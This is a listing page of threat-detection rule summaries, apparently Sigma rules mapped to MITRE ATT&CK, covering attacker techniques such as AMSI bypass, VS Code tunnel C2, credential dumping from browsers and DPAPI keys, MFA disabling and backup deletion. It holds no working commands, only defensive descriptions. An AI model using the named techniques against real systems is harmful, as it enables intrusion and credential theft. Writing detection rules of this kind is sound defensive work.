Security Software Discovery Via Powershell Script

Sep 2, 2024 · attack.discovery attack.t1518.001 ·
Share on:

Detects calls to "get-process" where the output is piped to a "where-object" filter to search for security solution processes. Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus

Read More
Serpent Backdoor Payload Execution Via Scheduled Task

Sep 2, 2024 · attack.execution attack.persistence attack.t1053.005 attack.t1059.006 detection.emerging-threats ·
Share on:

Detects post exploitation execution technique of the Serpent backdoor. According to Proofpoint, one of the commands that the backdoor ran was via creating a temporary scheduled task using an unusual method. It creates a fictitious windows event and a trigger in which once the event is created, it executes the payload.

Read More
Suspicious LNK Double Extension File Created

Sep 2, 2024 · attack.defense-evasion attack.t1036.007 ·
Share on:

Detects the creation of files with an "LNK" as a second extension. This is sometimes used by malware as a method to abuse the fact that Windows hides the "LNK" extension by default.

Read More
Suspicious Sysmon as Execution Parent

Sep 2, 2024 · attack.privilege-escalation attack.t1068 cve.2022-41120 detection.emerging-threats ·
Share on:

Detects suspicious process executions in which Sysmon itself is the parent of a process, which could be a sign of exploitation (e.g. CVE-2022-41120)

Read More
Ursnif Redirection Of Discovery Commands

Sep 2, 2024 · attack.execution attack.t1059 detection.emerging-threats ·
Share on:

Detects the redirection of Ursnif discovery commands as part of the initial execution of the malware.

Read More
Visual Studio Code Tunnel Execution

Sep 2, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects Visual Studio Code tunnel execution. Attackers can abuse this functionality to establish a C2 channel

Read More
Visual Studio Code Tunnel Remote File Creation

Sep 2, 2024 · attack.command-and-control ·
Share on:

Detects the creation of file by the "node.exe" process in the ".vscode-server" directory. Could be a sign of remote file creation via VsCode tunnel feature

Read More
Visual Studio Code Tunnel Service Installation

Sep 2, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects the installation of VsCode tunnel (code-tunnel) as a service.

Read More
Visual Studio Code Tunnel Shell Execution

Sep 2, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects the execution of a shell (powershell, bash, wsl...) via Visual Studio Code tunnel. Attackers can abuse this functionality to establish a C2 channel and execute arbitrary commands on the system.

Read More
A Rule Has Been Deleted From The Windows Firewall Exception List

Aug 29, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Detects when a single rules or all of the rules have been deleted from the Windows Defender Firewall

Read More
Uncommon AppX Package Locations

Aug 29, 2024 · attack.defense-evasion ·
Share on:

Detects an appx package added the pipeline of the "to be processed" packages which is located in uncommon locations

Read More
Uncommon New Firewall Rule Added In Windows Firewall Exception List

Aug 29, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Detects when a rule has been added to the Windows Firewall exception list

Read More
System Network Discovery - macOS

Aug 29, 2024 · attack.discovery attack.t1016 ·
Share on:

Detects enumeration of local network configuration

Read More
Antivirus Filter Driver Disallowed On Dev Drive - Registry

Aug 29, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects activity that indicates a user disabling the ability for Antivirus mini filter to inspect a "Dev Drive".

Read More
Emotet Loader Execution Via .LNK File

Aug 29, 2024 · attack.execution attack.t1059.006 detection.emerging-threats ·
Share on:

Detects the Emotet Epoch4 loader as reported by @malware_traffic back in 2022. The ".lnk" file was delivered via phishing campaign.

Read More
FakeUpdates/SocGholish Activity

Aug 29, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·
Share on:

Detects initial execution of FakeUpdates/SocGholish malware via wscript that later executes commands via cmd or powershell.

Read More
File Explorer Folder Opened Using Explorer Folder Shortcut Via Shell

Aug 29, 2024 · attack.discovery attack.t1135 ·
Share on:

Detects the initial execution of "cmd.exe" which spawns "explorer.exe" with the appropriate command line arguments for opening the "My Computer" folder.

Read More
HackTool - SharpWSUS/WSUSpendu Execution

Aug 29, 2024 · attack.execution attack.lateral-movement attack.t1210 ·
Share on:

Detects the execution of SharpWSUS or WSUSpendu, utilities that allow for lateral movement through WSUS. Windows Server Update Services (WSUS) is a critical component of Windows systems and is frequently configured in a way that allows an attacker to circumvent internal networking limitations.

Read More
Hiding User Account Via SpecialAccounts Registry Key

Aug 29, 2024 · attack.defense-evasion attack.t1564.002 ·
Share on:

Detects modifications to the registry key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" where the value is set to "0" in order to hide user account from being listed on the logon screen.

Read More
Hiding User Account Via SpecialAccounts Registry Key - CommandLine

Aug 29, 2024 · attack.t1564.002 ·
Share on:

Detects changes to the registry key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" where the value is set to "0" in order to hide user account from being listed on the logon screen.

Read More
Potential AMSI Bypass Via .NET Reflection

Aug 29, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects Request to "amsiInitFailed" that can be used to disable AMSI Scanning

Read More
Potential CVE-2022-29072 Exploitation Attempt

Aug 29, 2024 · attack.execution cve.2022-29072 detection.emerging-threats ·
Share on:

Detects potential exploitation attempts of CVE-2022-29072, a 7-Zip privilege escalation and command execution vulnerability. 7-Zip version 21.07 and earlier on Windows allows privilege escalation (CVE-2022-29072) and command execution when a file with the .7z extension is dragged to the Help>Contents area. This is caused by misconfiguration of 7z.dll and a heap overflow. The command runs in a child process under the 7zFM.exe process.

Read More
Potential MOVEit Transfer CVE-2023-34362 Exploitation - File Activity

Aug 29, 2024 · attack.initial-access attack.t1190 cve.2023-34362 detection.emerging-threats ·
Share on:

Detects file indicators of potential exploitation of MOVEit CVE-2023-34362.

Read More
Potential Privilege Escalation via Local Kerberos Relay over LDAP

Aug 29, 2024 · attack.privilege-escalation attack.credential-access attack.t1548 ·
Share on:

Detects a suspicious local successful logon event where the Logon Package is Kerberos, the remote address is set to localhost, and the target user SID is the built-in local Administrator account. This may indicate an attempt to leverage a Kerberos relay attack variant that can be used to elevate privilege locally from a domain joined limited user to local System privileges.

Read More
Python Function Execution Security Warning Disabled In Excel - Registry

Aug 29, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects changes to the registry value "PythonFunctionWarnings" that would prevent any warnings or alerts from showing when Python functions are about to be executed. Threat actors could run malicious code through the new Microsoft Excel feature that allows Python to run within the spreadsheet.

Read More
RestrictedAdminMode Registry Value Tampering

Aug 29, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects changes to the "DisableRestrictedAdmin" registry value in order to disable or enable RestrictedAdmin mode. RestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop. This prevents your credentials from being harvested during the initial connection process if the remote server has been compromise

Read More
RestrictedAdminMode Registry Value Tampering - ProcCreation

Aug 29, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects changes to the "DisableRestrictedAdmin" registry value in order to disable or enable RestrictedAdmin mode. RestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop. This prevents your credentials from being harvested during the initial connection process if the remote server has been compromise

Read More
Sdiagnhost Calling Suspicious Child Process

Aug 29, 2024 · attack.defense-evasion attack.t1036 attack.t1218 ·
Share on:

Detects sdiagnhost.exe calling a suspicious child process (e.g. used in exploits for Follina / CVE-2022-30190)

Read More
Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Aug 29, 2024 · attack.defense-evasion attack.t1218.011 ·
Share on:

Detects attackers using tooling with bad opsec defaults. E.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run. One trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.

Read More
Cab File Extraction Via Wusa.EXE From Potentially Suspicious Paths

Aug 29, 2024 · attack.execution ·
Share on:

Detects the execution of the "wusa.exe" (Windows Update Standalone Installer) utility to extract ".cab" files using the "/extract" argument from potentially suspicious paths.

Read More
COM Object Execution via Xwizard.EXE

Aug 29, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects the execution of Xwizard tool with the "RunWizard" flag and a GUID like argument. This utility can be abused in order to run custom COM object created in the registry.

Read More
New Capture Session Launched Via DXCap.EXE

Aug 29, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects the execution of "DXCap.EXE" with the "-c" flag, which allows a user to launch any arbitrary binary or windows package through DXCap itself. This can be abused to potentially bypass application whitelisting.

Read More
Potential DLL Injection Via AccCheckConsole

Aug 29, 2024 · attack.execution detection.threat-hunting ·
Share on:

Detects the execution "AccCheckConsole" a command-line tool for verifying the accessibility implementation of an application's UI. One of the tests that this checker can run are called "verification routine", which tests for things like Consistency, Navigation, etc. The tool allows a user to provide a DLL that can contain a custom "verification routine". An attacker can build such DLLs and pass it via the CLI, which would then be loaded in the context of the "AccCheckConsole" utility.

Read More
Potential DLL Sideloading Using Coregen.exe

Aug 29, 2024 · attack.defense-evasion attack.t1218 attack.t1055 ·
Share on:

Detect usage of the "coregen.exe" (Microsoft CoreCLR Native Image Generator) binary to sideload arbitrary DLLs.

Read More
Potentially Suspicious EventLog Recon Activity Using Log Query Utilities

Aug 29, 2024 · attack.credential-access attack.discovery attack.t1552 ·
Share on:

Detects execution of different log query utilities and commands to search and dump the content of specific event logs or look for specific event IDs. This technique is used by threat actors in order to extract sensitive information from events logs such as usernames, IP addresses, hostnames, etc.

Read More
Process Memory Dump via RdrLeakDiag.EXE

Aug 29, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects the use of the Microsoft Windows Resource Leak Diagnostic tool "rdrleakdiag.exe" to dump process memory

Read More
Program Executed Using Proxy/Local Command Via SSH.EXE

Aug 29, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detect usage of the "ssh.exe" binary as a proxy to launch other programs.

Read More
Relevant Anti-Virus Signature Keywords In Application Log

Aug 29, 2024 · attack.resource-development attack.t1588 ·
Share on:

Detects potentially highly relevant antivirus events in the application log based on known virus signature names and malware keywords.

Read More
Suspicious Child Process Of Wermgr.EXE

Aug 29, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 attack.t1036 ·
Share on:

Detects suspicious Windows Error Reporting manager (wermgr.exe) child process

Read More
Uncommon Sigverif.EXE Child Process

Aug 29, 2024 · attack.defense-evasion attack.t1216 ·
Share on:

Detects uncommon child processes spawning from "sigverif.exe", which could indicate potential abuse of the latter as a living of the land binary in order to proxy execution.

Read More
Windows Binary Executed From WSL

Aug 29, 2024 · attack.execution attack.defense-evasion attack.t1202 ·
Share on:

Detects the execution of Windows binaries from within a WSL instance. This could be used to masquerade parent-child relationships

Read More
Wusa.EXE Executed By Parent Process Located In Suspicious Location

Aug 29, 2024 · attack.execution ·
Share on:

Detects execution of the "wusa.exe" (Windows Update Standalone Installer) utility by a parent process that is located in a suspicious location. Attackers could instantiate an instance of "wusa.exe" in order to bypass User Account Control (UAC). They can duplicate the access token from "wusa.exe" to gain elevated privileges.

Read More
Xwizard.EXE Execution From Non-Default Location

Aug 29, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

Detects the execution of Xwizard tool from a non-default directory. When executed from a non-default directory, this utility can be abused in order to side load a custom version of "xwizards.dll".

Read More
Potential Active Directory Reconnaissance/Enumeration Via LDAP

Aug 27, 2024 · attack.discovery attack.t1069.002 attack.t1087.002 attack.t1482 ·
Share on:

Detects potential Active Directory enumeration via LDAP

Read More
Disable Important Scheduled Task

Aug 26, 2024 · attack.impact attack.t1489 ·
Share on:

Detects when adversaries stop services or processes by disabling their respective scheduled tasks in order to conduct data destructive activities

Read More
DNS Query To Put.io - DNS Client

Aug 23, 2024 · attack.command-and-control ·
Share on:

Detects DNS queries for subdomains related to "Put.io" sharing website.

Read More
Network Connection Initiated From Process Located In Potentially Suspicious Or Uncommon Location

Aug 23, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects a network connection initiated by programs or processes running from suspicious or uncommon files system locations.

Read More
Suspicious Download From File-Sharing Website Via Bitsadmin

Aug 23, 2024 · attack.defense-evasion attack.persistence attack.t1197 attack.s0190 attack.t1036.003 ·
Share on:

Detects usage of bitsadmin downloading a file from a suspicious domain

Read More
Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE

Aug 23, 2024 · attack.defense-evasion attack.t1027 ·
Share on:

Detects the execution of certutil with certain flags that allow the utility to download files from file-sharing websites.

Read More
Suspicious Remote AppX Package Locations

Aug 23, 2024 · attack.defense-evasion ·
Share on:

Detects an appx package added to the pipeline of the "to be processed" packages which was downloaded from a suspicious domain.

Read More
Driver Added To Disallowed Images In HVCI - Registry

Aug 21, 2024 · attack.defense-evasion ·
Share on:

Detects changes to the "HVCIDisallowedImages" registry value to potentially add a driver to the list, in order to prevent it from loading.

Read More
Hidden Flag Set On File/Directory Via Chflags - MacOS

Aug 21, 2024 · attack.defense-evasion attack.t1218 attack.t1564.004 attack.t1552.001 attack.t1105 ·
Share on:

Detects the execution of the "chflags" utility with the "hidden" flag, in order to hide files on MacOS. When a file or directory has this hidden flag set, it becomes invisible to the default file listing commands and in graphical file browsers.

Read More
User Risk and MFA Registration Policy Updated

Aug 21, 2024 · attack.persistence ·
Share on:

Detects changes and updates to the user risk and MFA registration policy. Attackers can modified the policies to Bypass MFA, weaken security thresholds, facilitate further attacks, maintain persistence.

Read More
Multi Factor Authentication Disabled For User Account

Aug 21, 2024 · attack.credential-access attack.persistence ·
Share on:

Detects changes to the "StrongAuthenticationRequirement" value, where the state is set to "0" or "Disabled". Threat actors were seen disabling multi factor authentication for users in order to maintain or achieve access to the account. Also see in SIM Swap attacks.

Read More
Data Export From MSSQL Table Via BCP.EXE

Aug 20, 2024 · attack.execution attack.t1048 ·
Share on:

Detects the execution of the BCP utility in order to export data from the database. Attackers were seen saving their malware to a database column or table and then later extracting it via "bcp.exe" into a file.

Read More
Potentially Suspicious Rundll32.EXE Execution of UDL File

Aug 16, 2024 · attack.execution attack.t1218.011 attack.t1071 ·
Share on:

Detects the execution of rundll32.exe with the oledb32.dll library to open a UDL file. Threat actors can abuse this technique as a phishing vector to capture authentication credentials or other sensitive data.

Read More
Suspicious Rundll32 Execution of UDL File

Aug 16, 2024 · attack.execution attack.t1218.011 attack.t1071 ·
Share on:

Detects the execution of rundll32.exe with the oledb32.dll library to open a UDL file. Threat actors can abuse the technique as a phishing vector to capture authentication credentials or other sensitive data.

Read More
Diskshadow Script Mode - Execution From Potential Suspicious Location

Aug 16, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects execution of "Diskshadow.exe" in script mode using the "/s" flag where the script is located in a potentially suspicious location.

Read More
HackTool - LaZagne Execution

Aug 16, 2024 · attack.credential-access ·
Share on:

Detects the execution of the LaZagne. A utility used to retrieve multiple types of passwords stored on a local computer. LaZagne has been leveraged multiple times by threat actors in order to dump credentials.

Read More
Capture Wi-Fi password

Aug 14, 2024 ·
Share on:

Capture Wi-Fi password

Read More
Powershell Token Obfuscation - Powershell

Aug 13, 2024 · attack.defense-evasion attack.t1027.009 ·
Share on:

Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation

Read More
7Zip Compressing Dump Files

Aug 12, 2024 · attack.collection attack.t1560.001 ·
Share on:

Detects execution of 7z in order to compress a file with a ".dmp"/".dump" extension, which could be a step in a process of dump file exfiltration.

Read More
A Member Was Added to a Security-Enabled Global Group

Aug 12, 2024 · attack.persistence attack.t1098 ·
Share on:

Detects activity when a member is added to a security-enabled global group

Read More
A Member Was Removed From a Security-Enabled Global Group

Aug 12, 2024 · attack.persistence attack.t1098 ·
Share on:

Detects activity when a member is removed from a security-enabled global group

Read More
A New Trust Was Created To A Domain

Aug 12, 2024 · attack.persistence attack.t1098 ·
Share on:

Addition of domains is seldom and should be verified for legitimacy.

Read More
A Security-Enabled Global Group Was Deleted

Aug 12, 2024 · attack.persistence attack.t1098 ·
Share on:

Detects activity when a security-enabled global group is deleted

Read More
AADInternals PowerShell Cmdlets Execution - ProccessCreation

Aug 12, 2024 · attack.execution attack.reconnaissance attack.discovery attack.credential-access attack.impact ·
Share on:

Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.

Read More
AADInternals PowerShell Cmdlets Execution - PsScript

Aug 12, 2024 · attack.execution attack.reconnaissance attack.discovery attack.credential-access attack.impact ·
Share on:

Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.

Read More
Abusable DLL Potential Sideloading From Suspicious Location

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects potential DLL sideloading of DLLs that are known to be abused from suspicious locations

Read More
Abuse of Service Permissions to Hide Services Via Set-Service

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.privilege-escalation attack.t1574.011 ·
Share on:

Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)

Read More
Abuse of Service Permissions to Hide Services Via Set-Service - PS

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.privilege-escalation attack.t1574.011 ·
Share on:

Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)

Read More
Abused Debug Privilege by Arbitrary Parent Processes

Aug 12, 2024 · attack.privilege-escalation attack.t1548 ·
Share on:

Detection of unusual child processes by different system processes

Read More
Abusing Print Executable

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Attackers can use print.exe for remote file copy

Read More
Access To ADMIN$ Network Share

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·
Share on:

Detects access to ADMIN$ network share

Read More
Access to Browser Login Data

Aug 12, 2024 · attack.credential-access attack.t1555.003 ·
Share on:

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store.

Read More
Access To Crypto Currency Wallets By Uncommon Applications

Aug 12, 2024 · attack.t1003 attack.credential-access ·
Share on:

Detects file access requests to crypto currency files by uncommon processes. Could indicate potential attempt of crypto currency wallet stealing.

Read More
Access To Potentially Sensitive Sysvol Files By Uncommon Applications

Aug 12, 2024 · attack.credential-access attack.t1552.006 ·
Share on:

Detects file access requests to potentially sensitive files hosted on the Windows Sysvol share.

Read More
Access To Windows Credential History File By Uncommon Applications

Aug 12, 2024 · attack.credential-access attack.t1555.004 ·
Share on:

Detects file access requests to the Windows Credential History File by an uncommon application. This can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::credhist" function

Read More
Access To Windows DPAPI Master Keys By Uncommon Applications

Aug 12, 2024 · attack.credential-access attack.t1555.004 ·
Share on:

Detects file access requests to the the Windows Data Protection API Master keys by an uncommon application. This can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::masterkey" function

Read More
Account Created And Deleted Within A Close Time Frame

Aug 12, 2024 · attack.defense-evasion attack.t1078 ·
Share on:

Detects when an account was created and deleted in a short period of time.

Read More
Account Disabled or Blocked for Sign in Attempts

Aug 12, 2024 · attack.initial-access attack.t1078.004 ·
Share on:

Detects when an account is disabled or blocked for sign in but tried to log in

Read More
Account Lockout

Aug 12, 2024 · attack.credential-access attack.t1110 ·
Share on:

Identifies user account which has been locked because the user tried to sign in too many times with an incorrect user ID or password.

Read More
Account Tampering - Suspicious Failed Logon Reasons

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.privilege-escalation attack.initial-access attack.t1078 ·
Share on:

This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted.

Read More
Activate Suppression of Windows Security Center Notifications

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detect set Notification_Suppress to 1 to disable the Windows security center notification

Read More
Active Directory Certificate Services Denied Certificate Enrollment Request

Aug 12, 2024 · attack.credential-access attack.t1553.004 ·
Share on:

Detects denied requests by Active Directory Certificate Services. Example of these requests denial include issues with permissions on the certificate template or invalid signatures.

Read More
Active Directory Computers Enumeration With Get-AdComputer

Aug 12, 2024 · attack.discovery attack.t1018 attack.t1087.002 ·
Share on:

Detects usage of the "Get-AdComputer" to enumerate Computers or properties within Active Directory.

Read More
Active Directory Database Snapshot Via ADExplorer

Aug 12, 2024 · attack.credential-access attack.t1552.001 attack.t1003.003 ·
Share on:

Detects the execution of Sysinternals ADExplorer with the "-snapshot" flag in order to save a local copy of the active directory database.

Read More
Active Directory Group Enumeration With Get-AdGroup

Aug 12, 2024 · attack.discovery attack.t1069.002 ·
Share on:

Detects usage of the "Get-AdGroup" cmdlet to enumerate Groups within Active Directory

Read More
Active Directory Kerberos DLL Loaded Via Office Application

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects Kerberos DLL being loaded by an Office Product

Read More
Active Directory Parsing DLL Loaded Via Office Application

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects DSParse DLL being loaded by an Office Product

Read More
Active Directory Replication from Non Machine Account

Aug 12, 2024 · attack.credential-access attack.t1003.006 ·
Share on:

Detects potential abuse of Active Directory Replication Service (ADRS) from a non machine account to request credentials.

Read More
Active Directory Structure Export Via Csvde.EXE

Aug 12, 2024 · attack.exfiltration attack.discovery attack.t1087.002 ·
Share on:

Detects the execution of "csvde.exe" in order to export organizational Active Directory structure.

Read More
Active Directory Structure Export Via Ldifde.EXE

Aug 12, 2024 · attack.exfiltration ·
Share on:

Detects the execution of "ldifde.exe" in order to export organizational Active Directory structure.

Read More
Activity From Anonymous IP Address

Aug 12, 2024 · attack.t1078 attack.persistence attack.defense-evasion attack.privilege-escalation attack.initial-access ·
Share on:

Identifies that users were active from an IP address that has been identified as an anonymous proxy IP address.

Read More
Activity from Anonymous IP Addresses

Aug 12, 2024 · attack.command-and-control attack.t1573 ·
Share on:

Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.

Read More
Activity from Infrequent Country

Aug 12, 2024 · attack.command-and-control attack.t1573 ·
Share on:

Detects when a Microsoft Cloud App Security reported when an activity occurs from a location that wasn't recently or never visited by any user in the organization.

Read More
Activity from Suspicious IP Addresses

Aug 12, 2024 · attack.command-and-control attack.t1573 ·
Share on:

Detects when a Microsoft Cloud App Security reported users were active from an IP address identified as risky by Microsoft Threat Intelligence. These IP addresses are involved in malicious activities, such as Botnet C&C, and may indicate compromised account.

Read More
Activity Performed by Terminated User

Aug 12, 2024 · attack.impact ·
Share on:

Detects when a Microsoft Cloud App Security reported for users whose account were terminated in Azure AD, but still perform activities in other platforms such as AWS or Salesforce. This is especially relevant for users who use another account to manage resources, since these accounts are often not terminated when a user leaves the company.

Read More
AD Groups Or Users Enumeration Using PowerShell - PoshModule

Aug 12, 2024 · attack.discovery attack.t1069.001 ·
Share on:

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

Read More
AD Groups Or Users Enumeration Using PowerShell - ScriptBlock

Aug 12, 2024 · attack.discovery attack.t1069.001 ·
Share on:

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

Read More
AD Object WriteDAC Access

Aug 12, 2024 · attack.defense-evasion attack.t1222.001 ·
Share on:

Detects WRITE_DAC access to a domain object

Read More
AD Privileged Users or Groups Reconnaissance

Aug 12, 2024 · attack.discovery attack.t1087.002 ·
Share on:

Detect priv users or groups recon based on 4661 eventid and known privileged users or groups SIDs

Read More
ADCS Certificate Template Configuration Vulnerability

Aug 12, 2024 · attack.privilege-escalation attack.credential-access ·
Share on:

Detects certificate creation with template allowing risk permission subject

Read More
ADCS Certificate Template Configuration Vulnerability with Risky EKU

Aug 12, 2024 · attack.privilege-escalation attack.credential-access ·
Share on:

Detects certificate creation with template allowing risk permission subject and risky EKU

Read More
Add Debugger Entry To AeDebug For Persistence

Aug 12, 2024 · attack.persistence ·
Share on:

Detects when an attacker adds a new "Debugger" value to the "AeDebug" key in order to achieve persistence which will get invoked when an application crashes

Read More
Add Debugger Entry To Hangs Key For Persistence

Aug 12, 2024 · attack.persistence ·
Share on:

Detects when an attacker adds a new "Debugger" value to the "Hangs" key in order to achieve persistence which will get invoked when an application crashes

Read More
Add DisallowRun Execution to Registry

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detect set DisallowRun to 1 to prevent user running specific computer program

Read More
Add Insecure Download Source To Winget

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059 ·
Share on:

Detects usage of winget to add a new insecure (http) download source. Winget will not allow the addition of insecure sources, hence this could indicate potential suspicious activity (or typos)

Read More
Add New Download Source To Winget

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059 ·
Share on:

Detects usage of winget to add new additional download sources

Read More
Add or Remove Computer from DC

Aug 12, 2024 · attack.defense-evasion attack.t1207 ·
Share on:

Detects the creation or removal of a computer. Can be used to detect attacks such as DCShadow via the creation of a new SPN.

Read More
Add Port Monitor Persistence in Registry

Aug 12, 2024 · attack.persistence attack.t1547.010 ·
Share on:

Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.

Read More
Add SafeBoot Keys Via Reg Utility

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects execution of "reg.exe" commands with the "add" or "copy" flags on safe boot registry keys. Often used by attacker to allow the ransomware to work in safe mode as some security products do not

Read More
Add Windows Capability Via PowerShell Cmdlet

Aug 12, 2024 · attack.execution ·
Share on:

Detects usage of the "Add-WindowsCapability" cmdlet to add Windows capabilities. Notable capabilities could be "OpenSSH" and others.

Read More
Add Windows Capability Via PowerShell Script

Aug 12, 2024 · attack.execution ·
Share on:

Detects usage of the "Add-WindowsCapability" cmdlet to add Windows capabilities. Notable capabilities could be "OpenSSH" and others.

Read More
Added Credentials to Existing Application

Aug 12, 2024 · attack.t1098.001 attack.persistence ·
Share on:

Detects when a new credential is added to an existing application. Any additional credentials added outside of expected processes could be a malicious actor using those credentials.

Read More
Added Owner To Application

Aug 12, 2024 · attack.t1552 attack.credential-access ·
Share on:

Detects when a new owner is added to an application. This gives that account privileges to make modifications and configuration changes to the application.

Read More
AddinUtil.EXE Execution From Uncommon Directory

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) from a non-standard directory.

Read More
Addition of SID History to Active Directory Object

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1134.005 ·
Share on:

An attacker can use the SID history attribute to gain additional privileges.

Read More
ADFS Database Named Pipe Connection By Uncommon Tool

Aug 12, 2024 · attack.collection attack.t1005 ·
Share on:

Detects suspicious local connections via a named pipe to the AD FS configuration database (Windows Internal Database). Used to access information such as the AD FS configuration settings which contains sensitive information used to sign SAML tokens.

Read More
Admin User Remote Logon

Aug 12, 2024 · attack.lateral-movement attack.t1078.001 attack.t1078.002 attack.t1078.003 car.2016-04-005 ·
Share on:

Detect remote login by Administrator user (depending on internal pattern).

Read More
ADS Zone.Identifier Deleted By Uncommon Application

Aug 12, 2024 · attack.defense-evasion attack.t1070.004 ·
Share on:

Detects the deletion of the "Zone.Identifier" ADS by an uncommon process. Attackers can leverage this in order to bypass security restrictions that make use of the ADS such as Microsoft Office apps.

Read More
ADSelfService Exploitation

Aug 12, 2024 · cve.2021-40539 detection.emerging-threats attack.initial-access attack.t1190 ·
Share on:

Detects suspicious access to URLs that was noticed in cases in which attackers exploitated the ADSelfService vulnerability CVE-2021-40539

Read More
ADSI-Cache File Creation By Uncommon Tool

Aug 12, 2024 · attack.t1001.003 attack.command-and-control ·
Share on:

Detects the creation of an "Active Directory Schema Cache File" (.sch) file by an uncommon tool.

Read More
Advanced IP Scanner - File Event

Aug 12, 2024 · attack.discovery attack.t1046 ·
Share on:

Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.

Read More
Adwind RAT / JRAT

Aug 12, 2024 · attack.execution attack.t1059.005 attack.t1059.007 detection.emerging-threats ·
Share on:

Detects javaw.exe in AppData folder as used by Adwind / JRAT

Read More
Adwind RAT / JRAT File Artifact

Aug 12, 2024 · attack.execution attack.t1059.005 attack.t1059.007 ·
Share on:

Detects javaw.exe in AppData folder as used by Adwind / JRAT

Read More
AgentExecutor PowerShell Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy "Bypass" or any binary named "powershell.exe" located in the path provided by 6th positional argument

Read More
All Backups Deleted Via Wbadmin.EXE

Aug 12, 2024 · attack.impact attack.t1490 ·
Share on:

Detects the deletion of all backups or system state backups via "wbadmin.exe". This technique is used by numerous ransomware families and actors. This may only be successful on server platforms that have Windows Backup enabled.

Read More
Allow RDP Remote Assistance Feature

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detect enable rdp feature to allow specific user to rdp connect on the targeted machine

Read More
Allow Service Access Using Security Descriptor Tampering Via Sc.EXE

Aug 12, 2024 · attack.persistence attack.t1543.003 ·
Share on:

Detects suspicious DACL modifications to allow access to a service from a suspicious trustee. This can be used to override access restrictions set by previous ACLs.

Read More
Alternate PowerShell Hosts - PowerShell Module

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe

Read More
Always Install Elevated MSI Spawned Cmd And Powershell

Aug 12, 2024 · attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects Windows Installer service (msiexec.exe) spawning "cmd" or "powershell"

Read More
